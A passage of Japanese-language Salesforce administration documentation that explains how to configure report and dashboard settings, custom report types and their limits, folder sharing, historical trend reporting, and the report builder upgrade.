ダッシュボードコンポーネントの静的画像を Chatter フィードに投稿して、すべ
てのユーザがそのスナップショットを表示できるようにすることができます。
1. ダッシュボードの Chatter フィード追跡が有効になっていることを確認しま

す。
2. [設定] から、[クイック検索] ボックスに「レポート」と入力し、[レポートお

よびダッシュボードの設定] を選択します。
3. [ダッシュボードコンポーネントスナップショットを有効化] をオンまたはオ

フにします。

重要: このオプションを使用して、ユーザは、ダッシュボードの表示設定
を上書きし、すべての Chatter ユーザがスナップショットを表示できるよう
にすることができます。これにより、ダッシュボードフォルダにユーザを
追加しなくても時間指定のデータを簡単に共有できるようになりますが、
ユーザが部外秘または機密の情報を誤って投稿する可能性があることに留
意してください。

レポートの社外秘情報免責事項の除外

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポート設定およびダッ
シュボード設定を変更す
る
• 「アプリケーションの

カスタマイズ」

デフォルトでは、レポートのフッターには「社外秘情報-配布厳禁」という免責
事項が含まれます。この免責事項は、レポートの共有先に対するユーザの注意
を喚起し、第三者にレポートが表示されないようにするものです。この免責事
項は自由にレポートから除外できます。
1. [設定] から、[クイック検索]ボックスに「レポートおよびダッシュボードの設

定」と入力し、[レポートおよびダッシュボードの設定] を選択します。
2. [エクスポートされたレポートから免責事項を除外]と [[レポート実行] ページ

および [印刷用に表示] ページから免責事項を除外] を選択します。
3. [保存] をクリックします。
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Salesforce1 での拡張グラフの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポート設定およびダッ
シュボード設定を変更す
る
• 「アプリケーションの

カスタマイズ」

Salesforce1 でユーザに拡張グラフを表示します。拡張グラフは Lightning Experience

のグラフに似ています。レポートにドリルインする前に詳細が表示され、グラ
フの区分をタップするとレポートが絞り込まれて、グラフの種類を変更できま
す。この機能は、すべてのバージョンの Salesforce1 で使用できます。

拡張グラフを有効にすると、Salesforce フルサイトで Lightning Experience を使用しているか Salesforce Classic をして
いるかに関係なく、どのユーザにも Salesforce1 でグラフが表示されます。
1. [設定] から、[クイック検索] ボックスに「レポートおよびダッシュボードの設定」と入力し、[レポートおよ

びダッシュボードの設定] を選択します。
2. [Salesforce1 の拡張グラフを有効化] を選択します。
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3. [保存] をクリックします。
拡張グラフを有効にする前に、次の制限に注意してください。
• 拡張グラフでは最初の 200 件のグルーピングのみが表示されます。
• タブレットでは、ダッシュボードに常に 2 列が表示されます。携帯電話では、ダッシュボードに常に 1 列

が表示されます。
• モバイルダッシュボードでは、拡張グラフのコンポーネントにはフッターが表示されませんが、タイトル

とサブタイトルは引き続き表示されます。コンポーネントフッターに重要な情報がある場合は、その情報
をタイトルまたはサブタイトルに移動することを検討してください。

レポート通知への登録をユーザに許可

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポート設定およびダッ
シュボード設定を変更す
る
• 「アプリケーションの

カスタマイズ」

特定の総計値が指定した条件に一致した場合に通知されるレポートに登録する
ことをユーザに許可します。
1. [設定] から、[クイック検索] ボックスに「レポート通知」と入力し、[レポー

ト通知] を選択します。
2. レポート通知を有効にするオプションを選択します。
3. [保存] をクリックします。
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レポートおよびダッシュボードのメール通知のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポート設定およびダッ
シュボード設定を変更す
る
• 「アプリケーションの

カスタマイズ」

ユーザが使用しているレポートおよびダッシュボードの情報に変更があったと
きに、ユーザに通知する方法を選択します。
1. [設定] から、[クイック検索] ボックスに「メール通知」と入力し、[メール通

知] を選択します。
2. 組織の通知を変更するには、次のオプションを選択またはクリアします。

レポートおよびダッシュボードのポータルユーザへの送信の許可
このオプションを有効にすると、受信者として指定されたすべての社内
ユーザとポータルユーザにレポートとダッシュボードが送信されます。
このオプションが有効になっていない場合、社内の Salesforce ユーザのみ
がレポートおよびダッシュボード更新通知を受信できます。
デフォルトでは無効となっているこのオプションは、カスタマーポータ
ルまたはパートナーポータルが設定されている Enterprise Edition、Unlimited

Edition、および Performance Edition の組織で使用できます。
ダッシュボードメールの Lotus Notes との互換性がある画像の使用

スケジュールされたダッシュボード更新が完了すると、ダッシュボード
更新通知を指定されたユーザに送信できます。デフォルトで、Salesforce

は、ダッシュボードメールの画像を Lotus Notes ではサポートされない .png

(Portable Network Graphic) ファイルとして送信します。[ダッシュボードメールで Lotus Notes と互換性
のある画像を使用]オプションを有効にすると、Salesforceではダッシュボードメールを送信するときに、
Lotus Notes をサポートする .jpg画像が使用されます。このオプションを表示するには、「ダッシュボー
ドのスケジュール」の権限が必要です。

メモ:  Lotus Notes と互換性のある画像を含むダッシュボードメールは非常に大きいため、画質が低
くなる可能性があります。

3. [保存] をクリックします。
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カスタムレポートタイプの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

レポートタイプは、主オブジェクトとその関連オブジェクトとの関係に基づい
て、レポートで使用するレコードと項目のセットを定義するものです。レポー
トには、レポートタイプで定義された条件を満たすレコードのみが表示されま
す。
たとえば、管理者は、関連付けられた再開のあるジョブアプリケーションのみ
を示すレポートタイプを作成できます。再開のないアプリケーションは、その
タイプを使用するレポートには表示されません。管理者はたとえば、再開のあ
るアプリケーションと再開のないアプリケーションなど、関連レコードのある
可能性があるレコードを表示することもできます。この場合、再開の有無に関
わらず、そのタイプを使用するレポートですべてのアプリケーションを使用で
きます。
カスタムレポートタイプを作成し、そのレポートタイプに基づいて、組織のレ
ポートとダッシュボードについてレポートできます。カスタムレポートタイプ
を定義するには、[新規カスタムレポートタイプ] ページの [主オブジェクト] ド
ロップダウンリストから [レポート] または [ダッシュボード] を選択します。

ヒント: レポートタイプの作成が完了したら、そのレポートタイプを次の
ようにさらに活用することを検討してください。
• Force.com AppExchange にアップロードしたアプリケーションにカスタム

レポートタイプを追加する。
• 「設定・定義を参照する」権限で翻訳者として指定されているユーザ

は、トランスレーションワークベンチを使用して、カスタムレポートタ
イプを翻訳できる。

1. カスタムレポートタイプの作成
新しいレポートタイプでサポートする主オブジェクトを選択し、名前を付けて、わかりやすい説明を指定
します。ユーザがレポートの作成に使用する準備ができるまで「開発中」としてマークします。

2. カスタムレポートタイプへの子オブジェクトの追加
主オブジェクト以外からもデータを取り込むためにレポートを有効にするには、レポートタイプに 1 つ以
上の関連オブジェクトを追加することを検討してください。

3. カスタムレポートタイプから作成したレポートの項目レイアウトの設計
カスタムレポートタイプを定義し、オブジェクトリレーションを選択した後、カスタムレポートタイプか
ら作成または実行されたレポートに表示可能な標準項目とカスタム項目を指定できます。

4. カスタムレポートタイプの管理
カスタムレポートタイプを作成した後、カスタムレポートタイプのカスタマイズ、編集、および削除がで
きます。

5. レポートタイプの制限
カスタムレポートタイプには、高いパフォーマンスと使いやすさを実現するためのいくつかの制限が適用
されます。
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カスタムレポートタイプの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

新しいレポートタイプでサポートする主オブジェクトを選択し、名前を付けて、
わかりやすい説明を指定します。ユーザがレポートの作成に使用する準備がで
きるまで「開発中」としてマークします。
1. [設定] から、[クイック検索]ボックスに「レポートタイプ」と入力し、[レポー

トタイプ] を選択します。
2. [新規カスタムレポートタイプ] をクリックします。
3. カスタムレポートタイプの [主オブジェクト] を選択します。

ヒント:

• 表示する権限のないオブジェクトも含めて、すべてのオブジェクト
から選択できます。これにより、さまざまなユーザが利用できるレ
ポートタイプを作成できます。

• レポートタイプを保存したら、主オブジェクトを変更することはで
きません。

• レポートタイプの主オブジェクトがカスタムオブジェクトまたは外
部オブジェクトであり、そのオブジェクトが削除されている場合、
レポートタイプとそれから作成されたレポートは削除されます。

• レポートタイプからオブジェクトを削除すると、そのオブジェクト
へのすべての参照と関連するオブジェクトが、そのレポートタイプ
に基づくレポートとダッシュボードから削除されます。

4. [レポートタイプの表示ラベル] と [レポートタイプ名] を入力します。
表示ラベルの文字数は、最大 50 文字です。名前は、SOAP API で使用されます。

5. カスタムレポートタイプの説明を入力します。最大文字数は、255 文字です。

メモ: 意味のある説明を提供することで、ユーザはどのデータをレポートで利用できるかを理解する
ことができます。たとえば、「取引先責任者に関連する取引先。取引先とその取引先責任者に関するレ
ポート。取引先責任者に関連しない取引先は表示されません。」とできます。

6. カスタムレポートタイプを保存するカテゴリを選択します。
7. [リリース状況] を選択します。

• デザイン、テスト、および編集中は、[開発中] を選択します。「カスタムレポートタイプの管理」権
限を持つユーザ以外のすべてのユーザは、レポートタイプとそのレポートを表示できません。その権限
のあるユーザのみが開発でレポートタイプを使用してレポートを作成および実行できます。

• すべてのユーザがそのレポートタイプにアクセスできる準備が整ったら、[リリース済み] を選択しま
す。

メモ: カスタムレポートタイプの主オブジェクトがカスタムオブジェクトまたは外部オブジェクトで、
その [リリース状況] が [リリース済み] から [開発中] に変われば、カスタムレポートタイプの [リ
リース状況] も同じように変わります。

8. [次へ] をクリックします。
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メモ: 開発者は、リリース後の管理パッケージ内のカスタムレポートタイプを編集し、新しい項目を
追加できます。登録者は、管理パッケージの新しいバージョンをインストールするときに、こうした
変更を自動的に受け取ります。ただし、開発者は、パッケージがリリースされた後にオブジェクトを
レポートタイプから削除できません。管理パッケージの一部であるカスタムレポートタイプから項目
を削除し、削除した項目がバケット化の一部であるかグループ化で使用されていると、エラーメッ
セージが表示されます。

関連トピック:

カスタムレポートタイプへの子オブジェクトの追加

カスタムレポートタイプへの子オブジェクトの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

主オブジェクト以外からもデータを取り込むためにレポートを有効にするには、
レポートタイプに 1 つ以上の関連オブジェクトを追加することを検討してくだ
さい。
1. 主オブジェクトの下のボックスをクリックします。
2. 子オブジェクトを選択します。

関連するオブジェクトのみが表示されます。

ヒント: 検索ボックスに入力すると、オブジェクトをすばやく検索でき
ます。

3. 各子オブジェクトに、次の検索条件のいずれかを選択します。
• 各「A」レコードには、少なくとも 1 つの関連する「B」レコードが必要で

す。子レコードを持つ親レコードのみがレポートに表示されます。
• 「A」レコードには、関連する「B」レコードの有無は問われません。子レ

コードの有無に関係なく、親レコードが表示されます。
Users が主オブジェクトである場合、子オブジェクトを項目で選択します。た
とえば、取引先 (取引先の所有者) または取引先 (作成者) などです。

4. 最大 3 つの子オブジェクトを追加します。
子の数は、選択するオブジェクトによって異なります。

5. [保存] をクリックします。

例:

• 「オブジェクト A はオブジェクト B の有無を問わない」を選択すると、
そのカスタムレポートタイプにおけるそれより下位のすべてのオブジェ
クトのリレーションが、自動的に「有無を問わない」リレーションにな
ります。たとえば、取引先がカスタムレポートタイプの主オブジェクト
であり、取引先責任者が第 2 オブジェクトであり、「取引先に取引先責
任者の有無を問わない」を選択すると、そのカスタムレポートタイプに
含まれる第 3、第 4 のどのオブジェクトも、デフォルトで「有無を問わ
ない」リレーションになります。
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• オブジェクト A がオブジェクト B を持たない場合、オブジェクト B のレポート結果は空白になります。
たとえば、取引先責任者が存在する/しない取引先に関するレポートをユーザが実行する場合、取引先
責任者が存在しない取引先に対しては、[取引先責任者] 項目は空白で表示されます。

• オブジェクト A がオブジェクト B の有無を問わないレポートでは、OR 条件を使って複数のオブジェク
トにまたがる検索条件を適用することはできません。たとえば、検索条件に「取引先名 次の文字列で
始まる M OR 取引先責任者名 次の文字列で始まる M」と入力すると、検索条件に誤りがあることを知
らせるエラーメッセージが表示されます。

• 表形式レポートの [行制限]オプションは、オブジェクト A にオブジェクト B があるかどうかというカ
スタムレポートタイプから作成されたレポートに主オブジェクトの項目のみを表示します。たとえ
ば、取引先責任者の有無に関係ない取引先のレポートの場合、取引先の項目のみが表示されます。カ
スタムレポートタイプには、関連付けの有無に関係ないオブジェクトより後の項目は表示されませ
ん。たとえば、ケースレポートの有無に関係なく取引先責任者を持つ取引先では、取引先と取引先責
任者の項目のみを使用できます。また、既存のレポートのカスタムレポートタイプのオブジェクトの
リレーションが「オブジェクト B を持つオブジェクト A」から「オブジェクト B の有無を問わないオブ
ジェクト A」に変更された場合、そのレポートを実行できないか、または [行制限]設定が無視されま
す。

カスタムレポートタイプから作成したレポートの項目レイアウトの設計

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

カスタムレポートタイプを定義し、オブジェクトリレーションを選択した後、
カスタムレポートタイプから作成または実行されたレポートに表示可能な標準
項目とカスタム項目を指定できます。

メモ: カスタム項目は、レポートタイプのページレイアウトに追加された
場合にのみ、カスタムレポートタイプに表示されます。

1. [設定] から、[クイック検索]ボックスに「レポートタイプ」と入力し、[レポー
トタイプ]を選択すると、[すべてのカスタムレポートタイプ] ページが表示さ
れます。

2. 編集するカスタムレポートタイプを選択し、[レポートで選択可能な項目] セ
クションで [レイアウトを編集する] をクリックします。
[レイアウトのプレビュー] をクリックし、このレポートタイプからカスタマ
イズまたは実行されるレポートの [項目の選択] ページに表示する項目をプレ
ビューできます。

メモ: レイアウトをプレビューすると、アクセス権を持たない項目とオ
ブジェクトも含めて、すべての項目とオブジェクトが表示されます。た
だし、アクセス権を持たない項目とオブジェクトに保存されたデータに
はアクセスできません。

3. 右側のボックスから項目を選択し、左側のセクションにドラッグします。

ヒント: [ビュー] ドロップダウンリストからオブジェクトを選択する
と、特定のオブジェクトの項目を表示できます。

4. 必要に応じて、[参照先の項目を追加] をクリックし、[参照先の項目を追加] フロート表示を表示します。
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このフロート表示から、[ビュー]ドロップダウンリストで選択したオブジェクトが持つ参照関係を使用し
て項目を他のオブジェクトに追加できます。
• 参照項目とは、他のオブジェクトからの情報を表示するオブジェクト上の項目です。たとえば、取引先

の [取引先責任者名] 項目です。
• カスタムレポートタイプには、参照関係の 4 レベルで有効な参照先の項目を含めることができます。た

とえば、取引先の場合は、取引先所有者、取引先所有者のマネージャ、マネージャのロール、およびそ
のロールの上司のロールを取得できます。

• 追加できる項目は、そのカスタムレポートタイプに含まれるオブジェクトに関連付けられている参照項
目に限られます。たとえば、取引先オブジェクトをカスタムレポートタイプに追加すると、取引先が参
照関係を持つオブジェクトの項目を追加できます。

• [参照先の項目を追加] フロート表示上で参照項目を選択すると、参照関係のある他のオブジェクトから
追加された参照項目にもアクセスできます。取引先は取引先責任者との参照関係があり、取引先責任者
にはケースとの参照関係があるため、たとえば、ケースから [取引先責任者名] 項目を選択すると、取
引先責任者から [取引先] 項目を選択できます。

• [参照先の項目を追加] フロート表示に表示される項目には、主オブジェクトへの参照項目は含まれませ
ん。たとえば、取引先がカスタムレポートタイプの主オブジェクトであり、取引先責任者が第 2 オブ
ジェクトであれば、[参照先の項目を追加] フロート表示には取引責任者から取引先への参照項目は表示
されません。

• [参照先の項目を追加]リンクを使用してレイアウトに追加した項目は、その参照項目を取り出したオブ
ジェクトのセクションに自動的に含まれます。たとえば、取引先から参照先として [取引先責任者] 項
目を追加すると、[取引先] セクションに [取引先責任者]項目が自動的に含まれます。ただし、項目は任
意のセクションにドラッグできます。

• 参照により追加された項目では、カスタムレポートタイプの項目レイアウト上にルックアップアイコン
が自動的に表示されます。

• カスタムレポートタイプの項目レイアウトで類似の項目をグループ化して、ユーザがレポートする項目
を見つけるのにかかる時間を短縮します。新しいページセクションを作成し、その中に互いに関連する
項目をグループ化できます。また、特定の詳細ページやレコードタイプに一致する項目をグループ化す
ることもできます。

• カスタムレポートタイプに主オブジェクトとして活動を含めると、カスタムレポートタイプの [項目の
選択] レイアウトで活動から取引先への参照項目のみを追加できます。

5. セクションの項目をユーザに表示する配置に並び替えます。
セクションにドラッグされなかった項目は、ユーザがこのレポートタイプからレポートを作成しても、ユー
ザは利用できません。

6. [レイアウトのプレビュー] をクリックして、凡例を使用し、どの項目をレイアウトに含めるか、デフォル
トでレポートに追加するか、および参照関係を利用してレイアウトに追加するかを決めます。

警告: ユーザは、参照権限を持たない項目からのデータを含むレポート上で、積み上げ集計項目を参
照できます。たとえば、商談品目の [価格] 項目を参照する権限を持たないユーザでも、[合計金額]

項目へのアクセス権があれば、商談レポートでは [合計金額] 項目を表示できます。

7. ユーザに対してデフォルトで選択する項目の名前を変更したり設定したりするには、1 つ以上の項目を選択
し、[プロパティを編集] をクリックします。
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• 1 つ以上の項目の横にある [デフォルトで選択] チェックボックスをクリックします。
デフォルトで選択された項目では、カスタムレポートタイプの項目レイアウト上にチェックボックスア
イコン ( ) が自動的に表示されます。

• 名前を変更する項目の横にある [表示名] 項目内のテキストを変更します。

メモ: 標準オブジェクトの項目でその名称を変更した項目は、名称変更した標準オブジェクトと同
じく、カスタムレポートタイプの項目レイアウトでは新しい名前で表示されることはありません。
ただし、レポートとプレビューページ ([レイアウトのプレビュー] をクリックするとアクセスでき
ます) には、標準オブジェクトの名称変更した項目と、名称変更した標準オブジェクトも新しい名
前で表示されます。

8. セクション名を変更するには、既存のセクションの横にある [編集]をクリックするか、[新規セクション作
成] をクリックして新しいセクションを作成します。

9. [保存] をクリックします。

関連トピック:

カスタムレポートタイプの作成

カスタムレポートタイプの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

カスタムレポートタイプを作成した後、カスタムレポートタイプのカスタマイ
ズ、編集、および削除ができます。
[設定] から、[クイック検索]ボックスに「レポートタイプ」と入力し、[レポート
タイプ] を選択すると、[すべてのカスタムレポートタイプ] ページが表示されま
す。このページには、組織に定義されたカスタムレポートタイプのリストが表
示されます。
• [ビュー]ドロップダウンリストからリストビューを選択してそのリストペー

ジに直接移動するか、[新規ビューの作成] をクリックして自分専用のカスタ
ムビューを定義する。

• [新規カスタムレポートタイプ] をクリックして、新しいカスタムレポートタ
イプを定義する。

• カスタムレポートタイプ名の横にある [編集] をクリックして、カスタムレ
ポートタイプ名、説明、レポートタイプカテゴリ、およびリリース状況を更
新する。

• カスタムレポートタイプの名前の横にある [削除]をクリックしてカスタムレ
ポートタイプを削除する。カスタムレポートタイプに格納されたデータがす
べて削除されるため、ごみ箱から元に戻すことはできません。

重要: カスタムレポートタイプを削除すると、それに基づいたレポート
があれば、それも削除されます。削除されたカスタムレポートタイプを
基にしたレポートから作成されたダッシュボードコンポーネントは、表
示しようとするとエラーメッセージが表示されます。
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• カスタムレポートタイプに関する詳細情報を表示し、カスタムレポートタイプ名をクリックしてさらにカ
スタマイズする。
カスタムレポートタイプ名をクリックした後、次の操作を実行できます。
– カスタムレポートタイプから実行したときにレポートが表示できるオブジェクトリレーションを更新す

る。
– カスタムレポートタイプのページレイアウトを編集して、カスタムレポートタイプから作成または実行

した場合に、レポートが表示できる標準およびカスタム項目を指定する。
– [レポートのため公開される項目] セクションで [レイアウトのプレビュー] をクリックして、カスタムレ

ポートタイプから実行したレポートで項目がユーザにどのように表示されるかを確認する。
– [コピー]をクリックして選択したカスタムレコードタイプと同じオブジェクトリレーションおよび項目

を持つカスタムレコードタイプを作成する。
– レポートの項目の名前を変更する。
– デフォルトで選択される項目を設定する。

レポートを編集するときは、レポートビルダーのレポート名の上に表示されるレポートタイプを確認できま
す。レポートタイプはレポート実行ページには表示されません。

1. レポートタイプ
2. レポート名

メモ: 組織でトランスレーションワークベンチが有効になっている場合、海外のユーザのためにカスタム
レポートタイプを翻訳できます。

レポートタイプの制限
カスタムレポートタイプには、高いパフォーマンスと使いやすさを実現するためのいくつかの制限が適用され
ます。
• カスタムレポートタイプには、それぞれ最大 1000 項目まで追加できます。[ページレイアウト] ステップの

上部のカウンタには、現在含まれている項目数が表示されます。項目数が多すぎる場合、レイアウトを保
存できません。

• 次の項目をカスタムレポートタイプに追加することはできません。
– 商品スケジュール項目
– 履歴項目
– 個人取引先項目
– ケースと商談の [商談日数] 項目

• カスタムレポートタイプには、最大 60 個のオブジェクト参照を含めることができます。たとえば、4 つの
レポートタイプのオブジェクトリレーションの最大限度を選択すると、参照によりその他に 56 オブジェク
トから項目を選択できることになります。ただし、カスタムレポートタイプでレポートを実行していると
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きに、そのレポートに 20 を超えるオブジェクトの列が含まれている場合は、エラーメッセージが表示され
ます。

• オブジェクトの参照は、4 つの主オブジェクト、参照先の項目のソース、または関係を横断するために使用
されるオブジェクトとして使用できます。各参照オブジェクトは、項目が選択されていない場合でも、最
大制限のカウントの対象となります。たとえば、取引先から取引先所有者、取引先所有者から取引先所有
者のロールへの参照を行う場合、取引先所有者から項目を選択しなくても、すべての参照オブジェクトは
60 という制限数のカウントの対象となります。

• ケースが含まれるカスタムレポートタイプから実行されたレポートは、[単位]ドロップダウンリストを表
示しません。このリストがあれば、ユーザは時間、分、日ごとにある特定のケース項目の時間値を表示で
きます。

• [削除済みカスタムオブジェクト] リストでカスタムオブジェクトに関連付けられたレポートタイプは、作
成できるカスタムレポートタイプの最大数に対してカウントされます。

関連トピック:

商談レポート

レポートとダッシュボードの拡張共有の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

分析フォルダの共有設定
を参照する
• 「設定・定義を参照す

る」

分析フォルダの共有設定
を変更する
• 「アプリケーションの

カスタマイズ」

分析共有を有効化すると、Salesforce によりユーザの既存のフォルダアクセス権
が新しい詳細なアクセス権に変換されます。

メモ:  Summer '13 より後の Salesforce リリースで作成された組織には、分析
フォルダの共有がすでに存在します。Summer '13 より前のリリースから存在
する組織の場合は、次の手順に従ってフォルダ共有をユーザが使用できる
ようにします。

分析共有が有効であると、共有されているレポートフォルダおよびダッシュボー
ドフォルダに対して、デフォルトで組織のすべてのユーザに閲覧者アクセス権
が付与されます。特定のフォルダでマネージャアクセス権またはエディタアク
セス権があるか、それ以上のシステム管理者権限がある場合は、さらに高いア
クセス権が付与される場合があります。新機能でのフォルダに対する各ユーザ
のアクセス権は、拡張フォルダ共有が有効化される前のフォルダアクセスとユー
ザ権限の組み合わせに基づきます。
1. [設定] から、[クイック検索] ボックスに「フォルダ共有」と入力し、[フォル

ダ共有] を選択します。
2. [レポートおよびダッシュボードフォルダを共有するためのアクセスレベルを

有効化] を選択します。
3. [レポートおよびダッシュボードフォルダの共有] をクリックします。

重要: 古いフォルダ共有モデルに戻ると、既存のレポートフォルダおよび
ダッシュボードフォルダも以前の状態に戻ります。
• 分析フォルダの共有が有効化される前にフォルダが存在していた場合、

そのプロパティと共有設定は以前の状態に戻ります。
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• 分析フォルダの拡張共有が有効なときにフォルダを作成した場合、フォルダはフォルダリストで非表
示になり、その共有設定はすべて削除されます。システム管理者権限は引き続き有効です。

履歴トレンドレポートの設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

履歴トレンドレポートをユーザが使用できるようにするには、条件を使用して、
履歴トレンドレポート用にキャプチャするデータ量を設定することから始めま
す。その後、履歴レポートに必要な項目を選択します。
容量の制限を超えない範囲でユーザが十分に活用できるだけの履歴トレンドデー
タを形成します。どの項目に有益な履歴データが含まれているのか、どの項目
に除外できるデータが含まれているのかを考慮します。

重要: 履歴データを保持すると、保存するデータ量が増加します。この影
響は、組織の作業によって異なります。一般的な商談レコードの状況を 1

日または 2 日おきに更新するとします。この場合、レコードが 1 か月に 1 回
または 2 回変更される場合よりも、商談オブジェクトの [状況] 項目の履歴
トレンドデータの容量が大きくなります。いずれかのトレンドオブジェク
トがデータ制限を超える恐れがある場合、メールアラートが送信されます。

1. [設定] から、[クイック検索] ボックスに「履歴トレンド」と入力し、[履歴ト
レンド] を選択します。

2. 履歴トレンドレポートを実行するオブジェクトを選択します。
商談、ケース、売上予測データ、および最大 3 つのカスタムオブジェクトを
選択できます。履歴トレンドレポートは、コラボレーション売上予測でのみ
使用でき、カスタマイザブル売上予測では使用できません。累積売上予測積
み上げ集計がコラボレーション売上予測設定で有効な場合、売上予測データ
は履歴トレンドレポートで使用できません。

3. [履歴トレンドの有効化] を選択します。
4. [データを設定] の検索条件を使用して、履歴トレンドレポートの作成に使用できるデータの合計量を指定

します。
商談、ケース、カスタムオブジェクトの履歴データを絞り込むことができます。売上予測データの場合、
使用可能なデータが自動的に選択されます。
たとえば、商談レポートで保存されるデータを削減するには、[フェーズ] [次の文字列と一致しない]

Prospecting を設定して最も可能性が低い商談を除外します。
5. [項目の選択] で、履歴トレンドレポートで使用できるようにする項目 (最大 8 個) を選択します。

これらの項目は、履歴トレンドレポートの作成時に選択できます。
• 商談レポートの場合、5 つの項目 ([金額]、[完了予定日]、[売上予測分類]、[確度]、[フェーズ]) が事前に選

択されています。さらに 3 つの項目を追加できます。
• 売上予測については、使用可能な 8 つの項目がすべて事前に選択されています。

履歴トレンドを有効にすると、今後のレポートの作成時に新しいカスタムレポートタイプを選択できるように
なります。新しい項目で履歴トレンドを有効にすると、その項目は自動的に履歴トレンドレポートレイアウト
に追加されます。
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履歴トレンドをオフにする場合、次の点に留意してください。
• 項目の履歴トレンドをオフにすると、その項目の履歴データが非表示になります。履歴トレンドを再度有

効にすると、履歴トレンドをオフにした後に作成されたデータを含む項目の履歴データを表示できます。
• オブジェクトの履歴トレンドをオフにすると、そのオブジェクトのすべての履歴データと設定が削除され

ます。オブジェクトの履歴トレンドレポートタイプおよびそのオブジェクトで作成されたすべてのレポー
トも削除されます。

• 項目の履歴トレンドをオフにしてからその項目を削除すると、履歴トレンドを再度有効にしても、項目の
履歴データは使用できなくなります。

メモ:

• 各ユーザが使用できる履歴項目は、ユーザがアクセスできる項目によって異なります。権限が変更さ
れて、特定の項目を表示できなくなると、その項目の履歴データも表示できなくなります。

• 各履歴項目の項目レベルセキュリティは、その親項目と同じになります。親項目の項目権限が変更さ
れると、それに応じて履歴項目の権限も変更されます。

レポートウィザードのアップグレード

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポート設定およびダッ
シュボード設定を変更す
る
• 「アプリケーションの

カスタマイズ」

強力なドラッグアンドドロップエディタであるレポートビルダーは、レポート
を作成、編集するための標準のツールです。組織でまだ従来のレポートウィザー
ドを使用している場合は、レポートビルダーにアップグレードしてください。
• すべてのプロファイルで、レポートビルダーをデフォルトで利用できます (権

限セットとプロファイル、および API の PermissionSet オブジェクと Profile オブ
ジェクトには引き続き「レポートビルダー」権限が表示されますが、アップ
グレードを行うと、これらの設定が上書きされます)。

• 従来のレポートウィザードは、アクセシビリティモードのユーザのみが使用
できます。

• Group Edition および Professional Edition を使用する組織がレポートビルダーを使
用できます。

• レポート用の新しいタイプのグラフである散布図を利用できます。
新しい組織では、レポートビルダーの最新バージョンが自動的に取得されます。
[ユーザインターフェース設定] ページに [レポートビルダーのアップグレード] セ
クションが表示されない場合、アップグレードはすでに組織で有効になってい
ます。
「レポートビルダー」権限をプロファイルまたは権限セットによってすべてのユーザに割り当てることと、組
織全体でレポートビルダーを有効にすることとは違います。組織でレポートビルダーを有効にするには、次の
手順に従ってください。

重要: アップグレードによる既存のレポートへの影響はありません。ただし、アップグレード後に古いレ
ポートウィザードに戻すことはできません。

1. [設定] から、[クイック検索]ボックスに「レポート」と入力し、[レポートおよびダッシュボードの設定]を
選択します。

474

レポートとダッシュボードのカスタマイズSalesforce 組織の設定および管理



2. ページの [レポートビルダーのアップグレード] セクションを確認して、[有効化] をクリックします。この
ボタンが表示されない場合、レポートビルダーはすでに組織全体で有効になっています。

3. 選択内容を確認して、[はい、すべてのユーザのレポートビルダーを有効化する] をクリックします。

重要な更新への対応
エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
すべてのエディション

Salesforceでは、定期的に更新をリリースしています。これらの更新は、パフォー
マンス、ロジック、Salesforce の使い勝手を向上するものですが、既存のカスタ
マイズが正しく機能しなくなる可能性もあります。Salesforce では、更新が利用
可能になると、[設定] の[重要な更新]の一覧に掲載します。また、システム管理
者が [設定] に移動するとメッセージが表示されます。
新しいリリースに円滑に移行できるように、各更新には選択期間が用意されて
います。この期間中は、更新の有効化および無効化を手動で何度でも行って、
組織への影響を評価し、更新によって影響を受けるカスタマイズを必要に応じ
て修正することができます。選択期間は、自動有効化日付になると終了します。
その時点で、Salesforce は更新を永久に有効化します。

